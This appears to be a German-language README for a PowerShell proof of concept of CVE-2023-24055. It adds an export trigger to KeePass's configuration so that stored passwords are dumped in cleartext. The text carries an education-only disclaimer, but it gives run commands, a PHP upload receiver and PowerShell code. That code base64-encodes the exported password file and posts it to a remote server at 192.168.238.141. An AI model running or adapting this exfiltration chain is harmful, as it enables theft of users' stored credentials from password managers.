
CVE-2023-24055 POC geschrieben in PowerShell.

Dieses Skript dient ausschließlich Bildungs- und Demonstrationszwecken. Der Autor befürwortet oder billigt nicht die Verwendung dieses Skripts für kriminelle oder bösartige Aktivitäten, und es sollte nur dort verwendet werden, wo dies ausdrücklich mit entsprechender Genehmigung erlaubt ist.
Dieses Skript sollte mit Vorsicht verwendet werden, da es die KeePass-Konfigurationsdatei verändert und alle zuvor konfigurierten Trigger löscht. Die Verwendung dieses Skripts kann zu unerwartetem Verhalten führen und möglicherweise die KeePass-Anwendung beschädigen. Verwendung auf eigene Gefahr.
Dieses Skript demonstriert die ** UMSTRITTENE ** Schwachstelle (CVE-2023-24055) von KeePass bis Version 2.53 (in einer Standardinstallation), da es einem Angreifer mit Schreibzugriff auf die XML-Konfigurationsdatei ermöglicht, die Klartextpasswörter durch Hinzufügen eines Export-Triggers zu erhalten. Beachten Sie, dass der Hersteller die Auffassung vertritt, dass die Passwortdatenbank nicht gegen einen Angreifer gesichert sein soll, der einen solchen Zugriff auf den lokalen PC hat.
Referenzen:
Um dieses Skript zu verwenden, führen Sie es in PowerShell aus und geben die erforderlichen Parameter an. Die Pflichtparameter sind:
-filename: Der vollständige Dateipfad und der Name der Datei, in die die Passwörter exportiert werden sollen.Die optionalen Parameter sind:
-uploadURL: Dieser Schalter wird verwendet, um anzugeben, dass die Daten an die angegebene URL hochgeladen werden sollen.-url: Die URL, an die die Daten hochgeladen werden sollen.Klartextpasswörter exportieren:
.\KlearPass.ps1 -filename c:\windows\tasks\export.txt
Klartextpasswörter exportieren und den Export auf den Webserver hochladen:
.\KlearPass.ps1 -filename c:\windows\tasks\export.txt -uploadURL http://192.168.238.141/KeePass/upload.php
Detaillierte Hilfe:
get-help .\KlearPass.ps1 -Detailed
<?php
if (!empty($_POST['filename']) && !empty($_POST['data'])) {
$target_directory = '/var/www/html/KeePass/uploads/';
$filename = $target_directory . $_POST['filename'];
$data = base64_decode($_POST['data']);
file_put_contents($filename, $data);
}
?>
$filename = "c:\windows\tasks\export.txt";
$file = [System.IO.Path]::GetFileName($filename);
$encodedFile = [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes([System.IO.File]::ReadAllText($filename)));
$http = New-Object System.Net.WebClient;
$http.Headers.Add("Content-Type", "application/x-www-form-urlencoded");
$http.UploadString("http://192.168.238.141/KeePass/upload.php", "filename=$file&data=$encodedFile");